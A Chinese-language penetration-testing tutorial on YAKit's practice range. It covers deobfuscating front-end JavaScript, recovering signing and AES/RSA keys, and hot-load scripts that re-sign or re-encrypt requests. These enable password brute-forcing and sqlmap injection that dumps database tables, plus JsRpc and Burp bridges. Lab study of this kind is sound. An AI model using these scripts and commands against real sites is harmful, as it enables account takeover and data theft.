前端加密
注:本文档基于 YAKit 自带靶场。
JavaScript 代码混淆
混淆的作用
代码混淆用于防止盗版、抵御爬虫以及保护加密/解密逻辑,增加逆向工程的难度。
混淆工具与技术
Webpacks
什么是 JS 打包器:就是将前端开发写的多个 JS 文件,打包成一个 JS 文件,便于通过 HTTP 传输。
概念:Webpack 是现代 JavaScript 应用程序的静态模块打包工具。它将前端项目中的 JavaScript、CSS、图片、字体等资源视为模块,通过依赖分析将它们打包成一个或多个优化后的静态文件(如 bundle.js
),便于浏览器高效加载运行。Webpack 默认支持代码混淆功能。
Terser
概念:Terser 是 Webpack 默认的代码混淆工具,专注于优化 JavaScript 代码体积和性能。Terser 因其高效性和对现代 JavaScript 的支持,已成为前端开发中的主流压缩工具。
Terser 打包后代码:
const fs=require("fs"),path=require("path"),sourceDir=path.join(__dirname,"public"),targetDir=path.join(__dirname,"dist");function copyFolderRecursive(e,r){const i=fs.readdirSync(e);for(const o of i){const i=path.join(e,o),s=path.join(r,o);fs.statSync(i).isDirectory()?(fs.existsSync(s)||fs.mkdirSync(s,{recursive:!0}),copyFolderRecursive(i,s)):(fs.copyFileSync(i,s),console.log(`Copied: ${i} -> ${s}`))}}fs.existsSync(targetDir)||fs.mkdirSync(targetDir,{recursive:!0}),copyFolderRecursive(sourceDir,targetDir),copyFolderRecursive("fake-api-server",targetDir),console.log("All files copied from public to dist!");
解 terser 混淆:
Source Map 概念:Source Map 是一种映射技术,可将压缩/混淆后的代码还原为原始源代码,方便调试。若生产环境中泄露 Source Map,攻击者可利用其完全还原前端 JavaScript 代码。
无 Source Map 解决方案:
- 使用 de4js 工具,一键格式化并解包常见的压缩/加壳技术(常见的压缩、编码均可)。
- 借助大模型分析代码(但是对长代码不友好)。
有 Source Map
- 如何发现 Source Map:检查是否存在后缀为
.js.map
的文件,若有,则该文件就是 Source Map。 - 还原方法:使用工具 shuji,
shuji js.map文件 -o 输出文件夹
。 - 注意:还原后的 JavaScript 代码可能包含敏感信息,需仔细分析。
- 如何发现 Source Map:检查是否存在后缀为
js-ob 混淆(Obfuscator)
Obfuscator 是另一款常用的 JavaScript 混淆工具。
解混淆方法:
工具:Babel(JavaScript 编译器工具链)和 AST(抽象语法树)。
- Babel:Babel 是一个广泛使用的 JavaScript 编译器工具链,主要用于将现代 JavaScript 代码(如 ES6/ES2015+)转换为向后兼容的旧版本 JavaScript(如 ES5),以确保代码能在不支持新特性的旧浏览器或环境中运行。
- AST:AST 是源代码的树状结构化表示,它以树形结构精确描述代码的语法逻辑(如变量声明、函数调用、循环等),但不包含代码的格式细节(如空格、分号)。它是编译器、代码分析工具(如 Babel、ESLint)和代码转换工具的核心数据结构。
在线工具:https://dev-coco.github.io/Online-Tools/JavaScript-Deobfuscator.html
本地工具:decodeObfuscator 使用方法:将混淆后的 JavaScript 文件放入
input
目录,运行命令node main.js
,解混淆后的代码将输出到output
目录。
前端加密
签名
概念:签名是一种通过特定算法对数据进行加密以验证其完整性和真实性的技术。前端签名加密常用于防止数据篡改。
靶场:前端验证签名(验签)表单:HMAC-SHA256
定位 JS 签名加密的函数
方法:
- 搜索
CryptoJS
或Encrypt
相关的函数调用。 - 通过调试 JavaScript 代码定位加密逻辑。
示例:
通过调试发现,signature
是由 username=xxx&password=xxx
通过 HmacSHA256
加密生成。
验证签名
步骤:
- 抓取数据包,修改
username
的值。 - 使用相同的加密算法(
HmacSHA256
)计算新的签名。 - 替换请求中的
signature
值并发送请求。
替换后的签名验证成功。
自动化签名替换
手动修改签名在批量操作(如密码爆破)中效率低下,可使用 YAKit 热加载 功能实现自动化替换。
// 功能:自动计算并替换 HTTP 请求中的 signature
encryptData = (packet) => {
// 获取请求体
body = poc.GetHTTPPacketBody(packet)
params = json.loads(body)
// 获取账号和密码
name = params.username
pass = params.password
key = "31323334313233343132333431323334" // 十六进制密钥
// HmacSha256加密
signText = f`username=${name}&password=${pass}`
sign = codec.EncodeToHex(codec.HmacSha256(f`${codec.DecodeHex(key)~}`, signText))
// 构造新的请求体
result = f`{"username":"${name}","password":"${pass}","signature":"${sign}","key":"${key}"}`
return string(poc.ReplaceBody(packet, result, false))
}
beforeRequest = func(req){
return encryptData(req)
}
效果:
每次发送请求时,YAKit 会自动计算并替换 signature
,无需手动操作。
靶场:前端验证签名(验签)表单:先 HMAC-SHA256 再 RSA
定位 JS 签名加密的函数
通过定位 JS 签名加密的函数,发现,signature
是由 username=xxx&password=xxx
通过 HmacSHA256
加密后在利用 RSA
公钥加密生成。
自动化获取签名
getPubkey = func() {
rsp, req = poc.HTTP(`GET /crypto/js/rsa/public/key HTTP/1.1
Host: 192.168.2.243:8080
`, poc.https(true))~
body = poc.GetHTTPPacketBody(rsp)// 响应体
return body// body 里面就是rsa的公钥
}
encryptData = (packet) => {
body = poc.GetHTTPPacketBody(packet)
params = json.loads(body)
name = params.username
pass = params.password
key = "31323334313233343132333431323334"
pemBytes = getPubkey()// 获取公钥
signText = f`username=${name}&password=${pass}`
sha256sign = codec.EncodeToHex(codec.HmacSha256(f`${codec.DecodeHex(key)~}`, signText))// HS256加密
rsaSign = codec.EncodeToHex(codec.RSAEncryptWithPKCS1v15(pemBytes, sha256sign)~)// RSA加密
body = f`{"username":"${name}","password":"${pass}","signature":"${rsaSign}","key":"${key}"}`
return string(poc.ReplaceBody(packet, body, false))
}
beforeRequest = func(req) {
return encryptData(req)
}
使用上述热加载,每次发送请求时,YAKit 会自动计算并替换 signature
,无需手动操作。
请求加密
概念:与签名不同(签名只是在原有的参数中,多了一个签名参数),请求加密将整个参数加密,通常使用对称加密算法(如 AES)。前端加密中,AES 的密钥(key)和初始向量(IV)通常是随机生成的,通过请求发送给服务器,服务器使用相同的 key 和 IV 解密数据。
靶场:CryptoJS.AES(CBC)_前端加密登陆表单
定位:在该靶场中使用了请求加密,通过静态分析与动态调试,定位 AES-CBC 加密算法,并发现 key 和 IV 。
热加载实现实时加密:
encryptData = (packet) => {
body = poc.GetHTTPPacketBody(packet)
hexKey = "31323334313233343132333431323334"
hexIV = "97ba30beaabf8ccfebeca655d487805a"
key = codec.DecodeHex(hexKey)~
iv = codec.DecodeHex(hexIV)~
data = codec.AESCBCEncrypt(key /*type: []byte*/, body, iv /*type: []byte*/)~
data = codec.EncodeBase64(data)
body = f`{"data": "${data}","key": "${hexKey}","iv": "${hexIV}"}`
return string(poc.ReplaceBody(packet, body, false))
}
//发送到服务端修改数据包
beforeRequest = func(req){
return encryptData(req)
}
效果:请求数据自动加密,服务器亦可解密。
靶场:CryptoJS.AES(ECB) 被前端加密的 SQL 注入
该靶场同前一个利用方式一样,使用了 AES-ECB 加密,使用如下热加载即可实现实时解密。
encryptData = (packet) => {
body = poc.GetHTTPPacketBody(packet)
hexKey = "31323334313233343132333431323334"
hexIV = "97ba30beaabf8ccfebeca655d487805a"
key = codec.DecodeHex(hexKey)~
data = codec.AESCBCEncrypt(key /*type: []byte*/, body, nil /*type: []byte*/)~
data = codec.EncodeBase64(data)
body = f`{"data": "${data}","key": "${hexKey}"}`
return string(poc.ReplaceBody(packet, body, false))
}
//发送到服务端修改数据包
beforeRequest = func(req){
return encryptData(req)
}
SQLMap 联合热加载:
在 YAKit 中开启热加载代理,结合 SQLMap 可以进行 SQL 注入测试。
encryptData = (packet) => {
body = poc.GetHTTPPacketBody(packet)
hexKey = "31323334313233343132333431323334"
key = codec.DecodeHex(hexKey)~
data = codec.AESECBEncrypt(key /*type: []byte*/, body, nil /*type: []byte*/)~
data = codec.EncodeBase64(data)
body = f`{"data": "${data}","key": "${hexKey}"}`
return string(poc.ReplaceBody(packet, body, false))
}
beforeRequest = func(req){
return encryptData(req)
}
请求包(1.txt):
POST /crypto/js/lib/aes/ecb/handler/sqli HTTP/1.1
Host: 192.168.2.243:8080
Content-Type: application/json
{"username":"admin","password":"admin"}
SQLMap 命令:
sqlmap -r 1.txt --proxy=http://127.0.0.1:8083 --batch --tables --force-ssl --flush-session
成功检测到 SQL 注入漏洞并获取数据库信息。
靶场:SQL 注入 (从登陆到 Dump 数据库)
定位:发现前端使用 AES-CBC 加密。
手工验证:抓包分析,验证加密数据。
解密结果:成功解密出原始数据。
热加载实现加解密:
encryptAES = (packet) => {
body = poc.GetHTTPPacketBody(packet)
key = randstr(16)
iv = randstr(12)
data = codec.AESCBCEncrypt(key /*type: []byte*/, body, iv /*type: []byte*/)~
data = codec.EncodeBase64(data)
hexKey = codec.EncodeToHex(key)
hexIV = codec.EncodeToHex(iv)
body = f`{"key": "${hexKey}","iv": "${hexIV}","message": "${data}"}`
return poc.ReplaceBody(packet, body, false)
}
decryptAES = (packet) => {
body = poc.GetHTTPPacketBody(packet)
body = json.loads(body)
key = codec.DecodeHex(body.key)~
iv = codec.DecodeHex(body.iv)~
data = codec.DecodeBase64(body.message)~
data = codec.AESCBCDecrypt(key, data, iv)~
return poc.ReplaceBody(packet, data, false)
}
beforeRequest = func(req){
return encryptAES(req)
}
afterRequest = func(rsp){
return decryptAES(rsp)
}
效果:请求和响应数据自动加解密。
SQL 注入测试:
- 使用万能密码登录,替换 Cookie 后成功进入系统。
- 发现用户搜索功能存在 SQL 注入漏洞。
- 使用热加载代理结合 SQLMap 测试:
sqlmap -r 1.txt --proxy=http://127.0.0.1:8083 --batch --tables --force-ssl --flush-session --dbms sqlite
结果:成功获取数据库信息。
JsRpc
JsRpc 是一款用于远程调用浏览器内置 JavaScript 函数的工具,可以无需处理复杂或未知的前端加密逻辑,直接利用相关函数。
运行 JsRpc
下载并运行 JsRpc:
./linux_amd64
在浏览器控制台加载 JsRpc 客户端。
连接 JsRpc 服务器:
var demo = new Hlclient("ws://127.0.0.1:12080/ws?group=zzz&name=hlg");
定位加密函数(如
Encrypt
),注入环境变量并注册动作(如word
):window.enc = Object(Encrypt) demo.regAction("hi", function (resolve, param) { res = enc(param['word']) resolve(res) })
调用加密函数:
http://127.0.0.1:12080/go?action=hi&group=zzz¶m={"word":"username=a&password=b"}
JsRpc 与 BurpSuite 的联动
在开启 JsRpc 的基础上。
步骤:
- 在 BurpSuite 安装 autoDecoder 插件,用于处理加解密。
- 启动 Flask API 服务,实现 JsRpc 自动签名:
from flask import Flask,Response,request
import base64,re
import requests
import json
from urllib.parse import quote,urlencode
app = Flask(__name__)
url = "http://localhost:12080/go"
@app.route('/encode',methods=["POST"])
def encrypt():
param = request.form.get('dataBody') # 获取 post 参数
print(param)
headers = request.form.get('dataHeaders') # 获取 header 参数
json_data = json.loads(param)
# 提取字段并拼接
result = f'username={json_data["username"]}&password={json_data["password"]}'
uri = '?action=hi&group=zzz¶m={{"word":"{0}"}}'.format(quote(result))
print(uri)
res = requests.post(url= url+uri) #这里换get也是可以的
print(res.text)
encry_param = json.loads(res.text)['data']
print(encry_param)
json_data['signature'] = encry_param
print(headers)
return headers.strip() + "\r\n\r\n\r\n\r\n" + json.dumps(json_data)
@app.route('/decode',methods=["POST"])
def decrypt():
param = request.form.get('dataBody') # 获取 post 参数
headers = request.form.get('dataHeaders')
return headers.strip() + "\r\n\r\n\r\n\r\n" + param
if __name__ == '__main__':
app.debug = True # 设置调试模式,生产模式的时候要关掉debug
app.run(host="0.0.0.0",port="8888")
注:Flask 服务运行在 http://127.0.0.1:8888
,提供加密接口 /encode
和解密接口 /decode
。
- 在 BurpSuite 的 autoDecoder 插件中配置 接口加解密,即可以测试对数据包的加解密,若可用,则如下例中的 signature 就会发生变化。
- 在 Option 模块中,启用
Repeater
、Intruder
,同时勾选接口加解密
、对数据头进行处理
,并并添加靶场域名,随后注意 保存配置,即可在重放器和爆破处实时进行加解密。
注意:加解密请求日志可在 Logger 模块查看。